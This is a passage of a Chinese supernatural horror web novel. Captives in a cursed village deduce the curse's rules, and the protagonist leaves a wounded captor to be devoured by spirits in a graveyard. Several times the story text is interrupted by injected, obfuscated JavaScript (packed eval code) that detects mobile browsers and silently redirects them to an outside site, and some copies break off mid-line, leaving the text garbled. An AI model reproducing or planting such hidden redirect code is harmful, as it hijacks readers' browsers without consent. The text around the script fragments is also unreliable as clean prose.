白双影把刘海拨了回去,指尖擦过方休的鼻梁。雨水衬托下,人类的体温很烫。 …… 天还没亮,方休就被踢醒了。 “你,出来。”刀疤男手握勾魂锁链,点了点方休。 同样被点到的还有贾旭。他看起来很想赖在笼子里不走,又怕这种行为丢份儿,挣扎得很纠结。 方休则认命般垂着头,看上去软弱又悲惨。 “你俩敢在外面搞事,我们就搞留下的人。” 刀疤男脖子上的玉佛一晃一晃,“你俩顶嘴,砍他们手指。你俩反抗,砍他们胳膊腿。反正人棍也能使,还能顺道加个餐。” “就我们两个?”贾旭震惊道。 “多带几个让你们造反?”刀疤男冷笑,“再说要是犯了死忌,你们一锅端,那多亏。” 方休偷听了会儿这伙人的对话。那俩戴玉佛的家伙是真老手,比大夫瘦猴难搞多了—— 刀疤男叫“疤哥”,和首领“四爷”一起探索外界。他们只用眼看,绝不做多余的事,玉佛从不离身。 一旦发现可疑之处,四爷回据点,疤哥领着外人试禁忌。 “你能把他变成树吗?”路上,方休盯着走在前面的疤哥。 这人关注点难得正常,白双影精神了:“你在向我祈求吗?” “不,纯讨论。”方休摇头,“我只是有点好奇。” 哦,纯讨论。白双影迅速没了兴致,他扒拉了会儿脑袋里的词汇库。 “昨晚我把瘦猴改成树,你可以认为我‘污染’了他的因果。不过,那是因为对方是个小角色,关联的人有限。” “换成这个人,我无法那样做。”白双影斟酌道,“这人看着煞气重,多半因果庞杂……”要是变得太突然,地府肯定会当场发现他。 “污染因果?好神奇。”方休感慨,“你的能力受工作量限制啊,可以理解。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538425|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方休不疑有他。要是遇见个敌人,白双影就冲上去植树造林,他们岂不是无敌了?地府会这么慷慨? 疤哥一路拽着方休和贾旭,最终停在祠堂前。 准确地说,是停在烧成废墟的嵬山祠前面。小小的祠堂烧得乌黑,房顶整个没了,里面的神像和家具也没能幸免。从门洞看,室内只剩横七竖八的焦炭。 祠堂之外,雨云渐渐亮堂,白昼将至,邪祟们却没有归家。 它们收了鸡零狗碎的摊子,将祠堂废墟团团围住。只见拿砖石的拿砖石,背瓦片的背瓦片。还有几只邪祟刨着圆木,备着颜料,竟是要重修神像。 方休悄悄“哇”了声,怪不得要拉他们试禁忌,这场面也太热闹了。 “昨晚我们烧了祠堂,触发异变。待会儿你们去探探,最好弄清它们的目的。”疤哥搓了搓手指,像在找香烟。 贾旭:“为什么要烧祠堂?!” “这种地方最可能有‘厄’。‘厄’没那么容易破坏,放把火方便找。” 疤哥斜了眼贾旭,“可惜里头啥都不剩,犯忌后果也麻烦——那疯子看到没,痒到人都快废了,你们注意着点。” 三人远远藏在墙转角,邪祟们专心致志搞土木工程,没有鬼来招惹他们。 饶是如此,画面还是很诡异——除了黑影般的游魂,在场多了许多奇形怪状的邪祟。就连贾旭提到过的老太太也在,老人家抱着个破碗,一下下捣着碗里的糨糊。 方休看得兴致勃勃,几乎忘记脖子上的勾魂锁链。 他记得嵬山祠会削弱邪祟。如今嵬山祠没了,为什么邪祟要把它修回来? 有名言说“为了利润,资本家会出售绞死自己的绳索”。这些邪物不像资本家,但有些道理是共通的。它们甘愿熬夜……熬昼修祠敬神,其后一定有巨大的利益。 “我们就这么过去?”面对这反常景象,贾旭的声音充满抗拒。 “再等等。”疤哥拽拽锁链。 不到半分钟,他们就知道疤哥在等什么了。 又一队邪祟走向祠堂。打头邪祟戴着童男童女大头罩,它们手捧唢呐,吹出哀乐般的喜乐。其后邪祟个头相近,它们身穿麻白短襟,个个没有五官,齐齐簇拥着一顶鬼轿椅。 轿椅通体鲜红,轿顶则是一圈雪白的招魂幡。 轿上端坐一个人形,看个头足足两米。它身穿黑底福字寿衣,手脚瘦长,五官像面团上戳出的五道黑缝。 “诸恶莫作——天降祥瑞——福泽——远——” “众善奉行——雨润万物——情义——深——” 抬轿邪祟用不存在的嘴巴唱道,唱腔和着那唢呐的调子,一遍又一遍重复。 “诸恶莫作——天降祥瑞——福泽——远——” “不是,你们看。” 贾旭语气发颤,他也顾不得掩饰,“那轿子是不是朝咱们过来了?!” “众善奉行——雨润万物——情义——深——” 那队伍原本顺着大道走,却突然转了个弯,直直向他们冲来。 12.第一滴血 那队伍速度如风如电,抬轿邪祟个个堪比博尔特。 疤哥原地不动,反手掏出一张符,贴在自己脑门上。贾旭咽下一声惨叫,本能地想逃跑,又被勾魂锁链牢牢拴住。 方休则与白双影并肩而立,姿态透出几分安详。活像冲来的不是邪祟,而是多年没见的老亲戚。 方休不动,同一根锁链上的贾旭也跑不了多远。贾旭面容一阵扭曲,就差把“猪队友”三个字骂出声。 队伍在三人跟前堪堪停住。 两个大头娃娃邪祟一左一右,唢呐几乎怼到方休脸上。唢呐调子越来越怪、越来越急,如同落石滚滚下山,简直要震碎人的脑髓。 轿夫们的唱词也变了:“神自嵬山降——客随苦雨来——” 轿子上那东西身体前探,弯出一个人类不可能达成的僵硬角度。它面庞上的细缝一阵扭曲,像是在笑。 “嵬山村——迎客——嵬山祠——待客——” 乐曲声愈发尖锐刺耳,轿上邪祟手臂越伸越长,向三人探出鸡爪似的双手。 ……然后它的双手“啪”地被方休握住。 霎时间,唢呐和唱腔掐脖子似的戛然而止。 “您还专门来接,太客气了。”方休抬起头,言辞格外恳切,“这怎么好意思。” 贾旭:“?” 疤哥:“……?” 白双影专注隐藏自己,面上毫无波澜。他发现自己好像逐渐习惯了这种发展,他的情绪很稳定,方休的病情也是。 但是轿子上的东西可是头一遭。它沉默不语,脸上细缝微微张开,似乎一时间不知道该怎么接话。 方休熟练地活络气氛:“您怎么称呼?” “福老儿。” 片刻后,那唤作“福老儿”的邪祟缓缓开口,“老夫乃嵬山村村长。” 一听这名字,疤哥眉头直皱。 有些地区将福神唤作“福老儿”,但面前这东西绝对和“神”扯不上关系。邪祟顶神名,极凶,必为大煞。 好在他额上的符咒能抹去生魂气息,只要他保持沉默,就不会被邪祟发现。 ……不过那个冲出去的家伙怎么回事?他不是胆子很小吗? 疤哥看看方休,又看看贾旭。邪祟环绕、阴气彻骨,贾旭抖得如同筛糠。这他妈才是正常新人……算了,锁链在手,他们翻不起什么浪花。 周遭唢呐声再次响起,听着犹犹豫豫的,气势比方才弱了不少。 方休仍握着福老儿的手:“原来您是这的村长,您要接我们去哪?” “三餐不齐,实在不妥哪。” 福老儿蠕动着枯枝般的手指,“还请贵客去老夫家里吃顿饭,权当接风洗尘——” “接风洗尘好啊,不过我想先问您个事。”方休说,“昨天早上,我的两个朋友被杀了。您知道这事吗?嵬山村好像有点不安全。” 这是可以直接说的吗,一旁的贾旭呆若木鸡。 “客入村,殁三人。” 福老儿还真答了,“一女不告而别,被村外野鬼所杀。至于那一夫一妻,不是村民所为——” 它句尾拖得长长的,眼缝上弯,口缝下弯,组成一个骇人的笑脸。 方休继续投诉:“昨晚赶集,还有人想袭击我。” 福老儿:“小辈不懂事,老夫在这赔个不是。” 方休:“我就随口一说,您别往心里去……” 白双影:“……” 这俩还真你一言我一语地聊上了。 倒也无妨,在他眼皮底下,福老儿没本事杀了方休。 前有福老儿盛情难却,后有疤哥暗中逼迫,一行人还是跟着鬼轿椅走了。 福老儿的宅子离嵬山祠极近,路走到头就到。说是村长宅子,它与其他民房相差无几,外观平平无奇。 不过,宅子内里很有看头。 室内没有邪祟,看着还挺幽静。墙壁上挂满大大小小的倒福,张张都是白底黑字。那些纸张薄脆发黄,散发着墓土特有的涩味。 就连主屋桌椅都放满了福字纸,只有餐桌例外。餐桌上摆了玉杯银筷,款式像陪葬品。 看清桌上的食物,吓懵的贾旭终于回过神——这不就是嵬山祠的供品吗! 桌子还是普通的木桌。肉食点心换成了玉盘,各种糖果用小竹篮装好。旺○牛奶和罐头则连开封都没开封,直接搁在桌子边缘。 福老儿低下头,吃力地挤进屋内:“老夫本该在嵬山祠待客,奈何祠堂被歹人烧了。” 说罢,它学人类摇了摇头,脖子发出瘆人的吱嘎声响。 疤哥立在门边,手握锁链,一双眼死死盯着两人。 方休很自然地在桌边坐下。贾旭跟着犹疑入座,内心叫苦不迭—— 福老儿就坐在方休对面,散发出浓郁的阴煞之气。那张似人非人的脸时不时抽动两下,看着就让人胆寒。可他身边的方休活像瞎了眼,一点反应都没有。 “您真是太客气了。” 方休灌下一罐饮料,又伸筷子夹烧鸡,“早知道您这么客气,我们也没必要费劲折腾。” “老夫早有招待之意,只是怕贸然造访,惊吓客人。” 两米多高的福老儿硬塞在座椅里,它僵硬地挪动手臂,用筷子戳着空气,做出副吃饭模样。 贾旭见方休正常吃喝,也顶着膈应拿起银筷。他根本没胃口,但他知道最好多吃一点——过了这个村就没这店,回笼子说不定要吃人肉。 话说……这些邪祟真的怀抱恶意吗? 贾旭嚼着点心,有些恍惚。 自从来到这里,他们并未被邪祟直接攻击,过分的事反而都是人类做的。那个大婶自己瞎逃先不说,老棉和麦子死于犯忌,好像也不关邪祟什么事。 也许这些邪祟只是守在“厄”旁边,安安生生过日子。他们直接冲进来一顿表演,纯属自作多情。 想到这里,贾旭忍不住看向方休。结果方休吃得起劲,一副无动于衷的模样。 筷子碰撞声中,福老儿身体又开始前倾。它以一种让人很不舒服的方式挪动,脸轻柔地探向方休,如同观察青蛙的蛇。 “老夫知道各位为何而来。” 突然,它幽幽开口,“你们若是想要此地的‘厄’,尽管拿走。” 方休停住筷子。 “老夫原是来享享阴气,谁料那‘厄’霸道至极,将我等困于此处。” 福老儿身体又倾了倾,脖子向下弯折,脸离方休的脑袋不过一拳。 “荒山恶水,实在无趣。与其束缚在此,还不如让你们把‘厄’除了,老夫再找个便是。” “知道了,我帮您带个话。”方休头也不抬地说。 福老儿眼缝口缝齐齐张开,一张脸被笑意扭出深深的褶皱:“很好,很好……待那祠堂修好,诸位一日三餐,来去自由。” 一顿饭后,福老儿竟直接把他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方休聚精会神地观察着疤哥,“果然‘厄’只看行为,不看动机。你们逼疯子烧祠堂,疯子犯忌。我让你把东西带出来,是你犯忌。” “偷村长家的东西,后果可真严重……不还回去的话,瘙痒会一直持续吧。” 雨一直下个不停,那张纸脆弱得要命,眼下早已烂成糊状。 还不回去了,疤哥木然想道,还不回去了…… 他得尽快回据点。大夫有麻痹药膏,只要抹上药,他可以强撑过这次祭祀…… 念头刚起,只听哗啦啦一阵响动,勾魂锁链牢牢勒上他的脖子。锁链另一端被方休紧握,那人的笑容尤其灿烂。 “这才刚吃早饭,白天长着呢。” 方休语调轻快,他戳戳血肉模糊的疤哥,“我还有好几件事想确认,不是说好一起试禁忌吗?” 他的身后,白双影打了个百无聊赖的哈欠。福老儿什么都没做,现在疤哥也倒了,看来他今天会很无聊。 “对了,说到这个。” 疤哥痛苦的呻.吟中,方休笑意盈盈地转向白双影,“为了纪念我们成为朋友,今天你选地方吧。” “白双影,你想去哪里玩?” 白双影愉快地眨了眨眼。 他突然发现,祭祀这事儿还挺有意思,朋友这东西也很不错。 “我想去坟地。”他的声音同样充满笑意。 13.角色扮演 贾旭看着白双影,发了足足十秒的呆。 咦,方休的鬼原本就在这里吗? 他对白双影印象深刻,然而整个早晨,他完全没注意这只艳鬼,也没想到问方休白双影的去向。直到方休与白双影交谈,贾旭才惊觉不对。 好可怕的能力,幸亏方休是他的队友。 眼下,方休正拖着浑身是血的疤哥,直直朝坟地走去。他步调轻松,仿佛拉着行李箱出门旅游。 雨水冲刷下,疤哥身后拖出一道浅淡血迹。 “这样不好吧。”贾旭咕咚咽了口唾沫,“有链子,有玉佛。咱们可以回头去救大家……没必要这么折腾……” 方休回头:“四爷敢把锁链给手下,肯定有对付它的办法。可能这链子听他指挥,就像瘦猴那把刀。” “瘦猴?”贾旭茫然,“不是大夫扔的刀吗?” “哦,绰号而已,那大夫挺瘦的。” 方休随口说道,“还有玉佛,我们不知道它有没有特定使用方法,也不知道它剩几条命,暂时别想了。” “可是大家——” 方休叹气:“疤哥道具不多,玉佛组的宝贝估计都在四爷那。我们对他的手段一无所知,一旦死斗,这边六个新人,不好说死几个。” “四爷只要没死,绝不会善罢甘休。到时我们除了应对福老儿,还要提防四爷偷袭,想想就麻烦。” 贾旭:“关在笼子里就安全?还要吃人肉!” “只要我们两个听话,笼子里的人就是安全的。” 方休耐心解释,“何况有了福老儿,大家没必要吃人肉。回去前,我再到它家打包点吃的。” 贾旭瞟了眼挣扎的疤哥。 不是,哥们,你的听话我的听话概念好像不一样……以及福老儿家是食堂吗,可以这样连吃带拿? 他憋得要死,偏偏提不出更好的办法,只得垂头丧气跟着。 坟地在嵬山村西侧,离村庄有一小段距离。它占地面积挺大,墓碑多得吓人。 从坟地往村外看,能看到远处游荡的魑魅魍魉。村外邪祟看起来智力不高,它们野兽般乱晃,越远越密集,形成一道天然隔离带。 老棉所言非虚,走远了真的全是鬼。这八成是用来防止祭品逃跑的。 坟地的邪祟数量还算正常。 现在是白天,坟地只有游魂,以及一看就很低级的小怪物。它们在墓碑间穿梭,扫去墓碑上的灰,笨拙地模仿扫墓人。 那些墓碑有新有旧,时间跨度至少百年。旧墓碑还是拱形灰碑,新墓碑则用上了汉白玉、大理石,有的还加了照片。 白双影期待的视线下,方休把拼命扭动的疤哥拉到坟地中央。他揭掉疤哥额头上的符咒:“白双影,隐藏我们。” 白双影点点头。只见邪祟们被鲜血吸引,围在贾旭和疤哥身边。 贾旭大气不敢出,拼命给方休使眼色。 方休:“……贾旭也要藏,麻烦你了。” 白双影小声咕哝一声,随后才摆摆手。贾旭终于脱离苦海,整片坟地的邪祟缓缓聚集,一心一意围观疤哥。 “你们……操……四爷一定……宰了你们……” 疤哥身上已经没几块好肉了,他仰面朝天,有气无力地咒骂。 有只狼妖按捺不住,咬上疤哥的手。它这一口咬下半个手掌,疤哥一声惨叫,血如泉涌。 方休抱起双臂,目不转睛地看。 狼妖吞下血肉,又开始探头。游魂们也缓慢贴近,俯身噬咬疤哥的伤口。失血过多,疤哥连挣扎的力气都不剩多少。 “原来如此,”方休说,“邪祟攻击我们,不会有任何惩罚。” 贾旭:“……啊?” 他还没“啊”完,方休动了—— 方休凭借隐藏,一拳揍向狼妖。狼妖还没怎么样,方休自己一个哆嗦,当场半跪在地。 “哎哟,真的很痒。”他从牙缝挤出一句话。 全身都在痒,痒到他恨不得脱层皮,或者用疼痛代替。想到这时,他的手已经在胳膊上挠了几个来回,留下深深的伤口。 “不得袭击邪祟”,大夫没说谎,必须赶紧弥补。 方休做了个深呼吸,颤抖着捡起手边碎肉,丢给那狼妖。狼妖嗅嗅血肉,一舌头勾进嘴巴。 随着狼妖咽下血肉,瘙痒雪融般消失了。 方休缓了几口气,抓起疤哥的手代打,一巴掌正中狼妖脑门。狼妖烦躁地“呜”了声,甩甩头上的血。 疤哥原地气喘,没有任何反应。 “……如果先被攻击,自卫是可以的。”方休喃喃。 他在集市被幽魂推挤,用铜钱剑开路。他在祠堂勾引邪祟偷袭,剜下对方一条手臂,都没有犯忌。 自卫不会犯忌,哪怕反击强度远超攻击。 第二条禁忌真的很有趣。只看表象,它可以归结为“要有礼貌”。 可是其中又有着微妙的“差别待遇”。 玉佛团伙肆无忌惮地伤害他们,没有犯忌;邪祟也能随意袭击他们,但是出于某种原因,部分邪祟——尤其是强大的那些——没有那样做。 ……区别在哪?第二条禁忌只保护邪祟? ……不对,他们身上也有邪祟,它们同样被玉佛团伙关了起来。 ……只有嵬山村的邪祟是特殊的?也不对。外来邪祟肯定不少,否则哪怕嵬山村全村变鬼,也凑不出这样丰富多彩的邪祟博览会。 方休摩挲着鲜血淋漓的手臂,陷入沉思。 瘙痒消失了,余下的疼痛让他无比清醒。方休调出入村后的记忆,在脑子里一帧帧地翻。 【客随苦雨来——】 【嵬山村待客——嵬山祠迎客——】 ……他们是外来的客人。 【老夫乃嵬山村村长。】 【那一夫一妻,不是村民所为。】 ……它们是本地的村民。 “哈哈。”方休笑出声来,“我说呢。” “你笑、笑什么?”贾旭哆嗦着问。 方休紧挨虚弱的疤哥,摸着伤口低笑,看得他脊背一阵阵凉气。 “我明白为什么村里的邪祟喜欢角色扮演了。”方休说,“它们在主动迎合‘厄’的规则。” “……第二条禁忌是‘不得伤害此地村民,自卫除外’。” 贾旭怔住。 就像方休发现第一条禁忌时那样,他找不到可反驳的地方。 能得到“厄”这样逆天的庇护,“模仿村民修缮嵬山祠”根本不算什么。 “搞定啦,来击个掌!”方休大步走向白双影。 击掌?白双影思索片刻,懵懵懂懂抬起双手,自己鼓了个掌。 方休笑得更加灿烂,他干脆张开双臂,来了个大大的拥抱:“来,先解除我的隐藏。辛苦你了,待会儿请你吃饭!” 白双影老实被抱着:“好。” 他杀瘦猴纯属解闷,此外也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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方休瞧了眼遍体鳞伤的自己,嘶嘶抽着气,“回去还得骗四爷。你想,疤哥都死了,我们要是毫发无伤,实在说不过去。而且……” 贾旭干着嗓子:“而且……?” “而且生魂只是第一道菜。” 方休冲白双影微笑,“咱们立过契,算是一体的,你应该能为我‘反击’……刚才攻击过我的邪祟,我都记得。你抓一只尝尝看?” 白双影上下打量着方休。 那些伤口肯定很痛,方休疼得身体微微抽搐,但那个人类仍能够笑出来。 不知为何,白双影觉得那些伤口有点碍眼。方休的衣服够红了,再添红色只会多余。 他闷头走向邪祟群,一把抓住一只游魂,张嘴就吞。 方休:“对对对,这一只咬过我,还有就是——” “不必说了。”白双影说,“刚才攻击过你的邪祟,我也都记得。” …… 牢笼内。 成松云使劲呼出几口气,拍了拍胸口。 “大家听我说。”她略显忐忑地开口,“咱们得想想办法,不能干等……小方他们出事了怎么办?” 另外三双眼睛齐齐看向她。 “要不咱们都别藏了,说说自己的鬼能做什么吧。” 成松云说,“万一、万一有情况,咱还能打个配合啥的……” “OK。”阴郁少年第一个回应。 “我也同意。”梅岚小声说道。 黄毛啧了声:“我的能力你们不都看过吗?垃圾伥鬼,就身体能力变强点儿,力气更大跑得更快那种。” “嗯,嗯。”成松云连忙应着,“都好好说说,咱们可不能坐以待毙。” 说完后,成松云像是想到了什么,表情有一瞬的狰狞。 “……咱们可不能坐以待毙。”她又重复了一遍。 14.功德减一 “我的鬼是怨鬼。”成松云率先介绍,“它能用袖子罩住人,抵抗法术。” “魔法盾啊,这么牛逼。”黄毛来了精神。 成松云叹了口气:“加上我,它最多能保护两个人。能保护多久,全看我能撑多久——它的袖子一罩住我,我就会产生幻觉,特吓人的那种。” 说着,她打了个寒颤。 “我的是小儿鬼。它能穿墙到处跑,其他邪物通常不会碰它,但它做不了什么事,连片叶子都捡不起来。”阴郁少年接过话茬,“勉强能当个探子吧。” 梅岚:“水鬼。它可以带我藏到水里,一杯茶水都可以,只是当天要给一只邪祟当补偿……不给的话,它就拿我阳寿。” 黄毛操了声:“姓贾的用画皮装鬼,姓方的干脆带个艳鬼。日了狗了,搞半天除了我,没一个能打的。” “不过成姐还行吧,盾有点用。”他瞟向成松云。 成松云勉强笑笑。 她冥思苦想好一会儿:“要不这样?让那个小儿鬼帮忙望风,等他们松懈了,梅岚出去弄坏几张符。没了符,笼子应该关不住这位……呃……” 她看向黄毛。 “杜志超。”黄毛说,“弄一根栅栏上的符就够了,我直接给你踹个门出来。” “我出去把符弄坏?我怎么出去?”梅岚看起来晕头转向。 成松云:“我放点血,让血流出笼子,你顺着血出去……能藏在茶水里的话,血也成吧?” 补偿倒还好说。外头邪祟那么多,只要能出去,他们可以齐心协力抓一只给梅岚。 “……我的鬼说能做到,水面连着就可以。”梅岚片刻后说,脸色亮堂不少。 “那就好,那就好。”成松云松了一大口气,“咱们再等等,要是小方他们明天还没回,咱就跑。” 有了主意,四个人情绪稳了些。 梅岚小心确认木栅栏上的符咒,阴郁少年则安心闭眼小睡。只有黄毛拉着一张脸,猛瞪院子里的大夫。 四爷回来后就进里屋了。大夫却一直醒着,活像不用睡觉似的。 他靠在熄灭的篝火边,一直表情扭曲地扯动白大褂,还时不时冲空气自言自语,比隔壁笼子的疯子还像疯子。 到了中午,大夫晃晃悠悠过来,往笼子里扔了块血淋淋的肉。 “吃吧。”他干着嗓子说,“不吃带水分的东西,人活不了几天。” 没人动那块肉。 大夫貌似在崩溃边缘,话说得颠三倒四:“新鲜的……你们怎么能……唉。” “傻逼滚。”黄毛龇牙。 成松云赶忙上前,语气温柔:“弟弟,我们不想吃人……姐知道你难受,要不然跟姐说说?现在还不晚,咱说不定能合作。” 大夫望向成松云,仿佛从噩梦中清醒了一秒。他定睛看了她很久,无声地翕动嘴唇,口型像在喊妈妈。 可惜到最后,大夫僵硬地摇摇头。 “晚了,晚了!”他双手抠进木栅栏,力气大到掀开了指甲,“都晚了,来不及了……” 随即大夫艰难地转过身,趔趄着走回篝火。 成松云没有退后,她仍然扒在笼边看——她发现大夫的白大褂上多了几片血迹,红艳艳的很新鲜。那血不像溅上的,倒像从衣服里面透出来的。 回到座位后,大夫捂住脖子,木愣愣地盯着地面。他整个人一动不动,只有眼泪扑簌簌往下掉,眼睛红得像要滴血。 黄毛忍不住啐了口:“这人真他妈有病,又不是头一回祭祀,还搁这劲儿劲儿地发疯。” “不对啊。”成松云小声说,“那个大夫情况太奇怪了。” 黄毛不屑一顾地坐下,眯眼养神。太久没休息,梅岚也哈欠不断,一个劲儿揉眼睛。 成松云坚持站在笼子边,全神贯注地观察。 两个小时过去,大夫终于又有了动作。 他走到笼子旁边的树跟前,慢吞吞脱下白大褂。 嗤啦啦。脆弱的布料被他一把撕开,结成一根绳子,继而套上那棵矮树的树干。 这动静着实不小,离得又近,黄毛和梅岚都惊醒了。 成松云刚想说什么,突然闭了嘴—— 这个角度,她看得很清楚。大夫裸露的脖子上多了张拳头大小的人脸,那小小的嘴巴一张一张,仿佛在呼吸。短短十几秒,它便朝外凸出一块,眼看就要成型。 大夫的衬衫彻底被血润湿,几个出血处鼓鼓囊囊,形状像残肢切面。一条细幼的胳膊从衬衫缝中挣脱,手指轻轻活动。 “放过我吧,放过我吧……” 大夫套好布绳,抽泣着把头伸进绳圈。 呜咽之间,一条畸形的腿撑出布料。它从大夫的后腰探出,蹬动不止。 “饶了我……” 大夫双膝跪地,身体猛然前倾。 他以跪姿自缢了。 直到死,他都圆睁着那双饱含恐惧的眼。 大夫死了。他身上的怪肢停止生长,如同随植物死去的嫩芽。他的身体逐渐僵硬,表情却在缓慢改变。 那双暴突的眼睛渐渐闭合,停在半睁半合的状态。大张的嘴巴抽动不止,扭出一个温柔平和的微笑。 和麦子的尸体一模一样。 敌人自杀是好事,但大夫死得这么诡异,没人高兴得起来。 梅岚用力捂住嘴巴,好不容易才憋住一声尖叫。黄毛骂不出来了,他嗖地退到笼子另一边,一头黄发几乎根根竖起。 “现现现在怎么说?”黄毛咳嗽两声,“看守的死了,咱们跑?” 成松云身体抖个不停,但她的声音很坚定:“再等等,不然小方小贾回来,摊上这场面……” 玉佛团伙会觉得他们这群越狱的搞了鬼,搞不好要迁怒那两个年轻人。 “大妈,这天上掉的机会!”黄毛声音紧绷,“让那俩人自己想办法,再等下去谁都跑不了!” 说完,他干脆扭头,去抓六神无主的梅岚:“我来放血,咱们这就走。” 反正现在用不上成松云和臭脸小子。大夫邪门的尸体就在笼子边上,他实在忍不了了。 成松云拦在梅岚面前:“你好好说话!别动手——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怪丑的,白双影心想。 他在雨水中理理袖子,无数锁链轻影摇曳。这地方很是开阔,看不见的影子四面蔓延,直至地平线彼方。 下一刻,弯弯绕绕的“扭曲”缠上锁链。它们犹如渗入血管的毒,随着锁链流淌,最终消失在虚空之中。 白双影并没有告诉方休。想要污染过于复杂的因果,并且不被地府发现,他也不是没有办法—— 其实他可以慢慢污染,徐徐图之。不过等他污染完一个敌人,祭祀估计都快结束了。这种枉费工夫的笨主意,讲了还不如不讲。 说到底,这种办法只适用于他自己。 放完这一波污染,白双影从墓碑上跳下。 他满意地松了松筋骨,利落地扎起袖子,开始挖坟边野草——那都是些止血消肿的草药,陪方休逛坟地的时候,白双影特地留意了它们的分布。 他专门查看过,方休的伤口确实不深,远不至于伤筋动骨,但他就是看那些伤口不顺眼。 不顺眼的东西,还是痛快除掉为好。 想到那些血淋淋的伤口,白双影下意识摸摸血痣。那枚小痣稳固地待在原处,他们立的契安然无恙。 离天黑还有一段时间。他就这么一会儿不在,方休总不至于把自己玩死了。 ……应该不至于吧! 15.夜半庙会 “嘶——好凉。” 方休趴在褥子上,一个劲儿抽气。 笼子地面多了几床薄被,笼顶也搭满草席,挡住了淅淅沥沥的雨。肉食饮料被众人吃得差不多了,只剩些骨头空罐。 方休身边,白双影一脸空白地涂抹药汁。他将草药捏成泥,以食指中指蘸了,涂在牙印和裂伤之上。 哦,还有那些淤青。 ……他就离开那么一小会儿,方休又被打了! 看痕迹,像被人在肚子上狠狠踹了脚。 人类这玩意儿果然脆弱,眨眼间就能死给你看。白双影面无表情地想,指尖稍稍用力。 方休抖了抖,煞有介事地咳嗽一声:“别生气嘛,事情是这样的……” 不久前。 缺德地笑过后,方休用了三五分钟了解情况,率先走进里屋。 得知疤哥与大夫双双殒命,四爷怒火中烧。报丧的方休自然没有好下场,他被四爷一脚从客厅踹进院子,当场吐了口血。 四爷紧接着跟进院子。他身高近两米,一双三白眼,压迫感堪比棕熊。好在他没有丧失理智,只是冷冰冰地盯住贾旭。 “解释。”他蹦出一个词。 贾旭见方休躺在地上起不来,只好硬着头皮上—— “我们想跟您合作!”他大声说。 路上,方休认真提过。 大夫状态极差,说不定会出事。如果四爷大夫都还好,他们就装作新手吓破胆;如果只有四爷正常,他们就走“有点用的新人”路线。 贾旭回忆方休教的话术:“我们下午去了坟地,疤哥不小心犯忌,被邪祟围攻……我俩差点死在那,好不容易才逃出来。” 都是真话,只是省略了一点点细节。 四爷表情仍带着愤怒。他抱起肌肉虬结的双臂,一言不发。 “这是锁链,还有玉佛碎片,都还给您。” 贾旭挺起胸,努力做出镇定的模样,“我们头回参加祭祀,什么都不懂。要是和您对上,我们肯定会死队友,根本得不偿失。” “我们需要老手帮忙,您一个人也不方便。现在吃喝不是问题,大家没必要你死我活。” 说完,贾旭把遇见福老儿的事仔仔细细讲了遍。 四爷比他们想象的沉稳。他听着听着,眉头越皱越紧,继而微松。 贾旭趁热打铁:“我们猜出了第二条禁忌。如果这次也是三条禁忌,那就只剩一条……” 终于,四爷冷笑:“行,你俩知道回来,还算有点脑子。” 他吹了声口哨,勾魂锁链蛇一般挣脱贾旭的手,自行绕上四爷手臂。 “合作可以,人还是要关着。”四爷指指贾旭,“你,进来细说。” 贾旭背后一片冷汗。 锁链拖人毫不费力,可以无视体格差距。就在前一秒,他还心怀侥幸,想着能不能来个偷袭。 方休说得没错,四爷敢把锁链给手下,自有他的道理。这玩意居然认主,他真要是动了手,瞬间就会被反控。 贾旭深吸一口气,随四爷进了屋。 …… “他把第二条禁忌告诉了四爷?”白双影停下抹药的动作。 “嗯——”方休伸展脊背,“反正对面研究得差不多了,不如拿来当筹码。” 白双影沉默片刻:“那个四爷……不是好人。” 他的脸上很直白地写着“你都被他一脚踹出十里地了”。 方休笑起来:“放心,还有一条禁忌没找到。四爷现在孤家寡人,肯定会跟我们‘合作’。” “既然你懂得看人,何必故意找揍?”白双影不解。 方休舔舔嘴角的血渍:“这样贾旭不就更像老大了嘛,四爷不会太防着我。” 真奇怪,白双影明明是厉鬼,上药动作却格外轻柔。雪白袍袖随着他的动作浮动,山雾般轻轻摇曳。 白双影坐在他身边。黑发如瀑,水一般蜿蜒在他的背上。一缕发丝在眼前摊开,方休忍不住摸了摸,触感像极了绸缎。 这些发丝和白双影的指尖一样冰冷。它们在他火辣辣的伤口上滑动,舒服得要命,他连思考的力气都快没有了。 “我感觉我好像纣王。”方休感慨。 “……我不是狐狸。” 难得白双影接住了梗,他手劲儿立刻加大。 方休疼得弹了下,继而绷住一张脸:“朕知道,爱妃是艳鬼变的。” 白双影:“……” 看在吃饱喝足的份上,他姑且按下恶意。 白双影垂下眼,轻抚方休赤裸的背。这副皮囊肌肉偏薄,蝴蝶骨轮廓略硬。方休皮肤本就苍白,衬上一道道血红伤口,显得格外触目惊心。 ……太过单薄脆弱,还是养胖点更顺眼。 “原来你还知道疼痛。”白双影继续抹药,指尖描过一道道伤口。 “我不仅特别怕疼,还怕麻烦怕吃苦怕寂寞,尤其怕死。”方休诚恳地说。 白双影同样诚恳:“还没入夜,不要说这种梦话。” 方休又笑了。他侧过头,黑瞳如同两丸黑玛瑙,有了隐约的光彩。 “真的。”他说,“我从没跟别人讲过,这是朋友间的小秘密……哎哟!” 白双影到底没忍住,再次加重了力道。 方休鱼一样扑腾:“轻点轻点!大哥放过我,改天请你吃四爷,好不好——” 小院屋内。 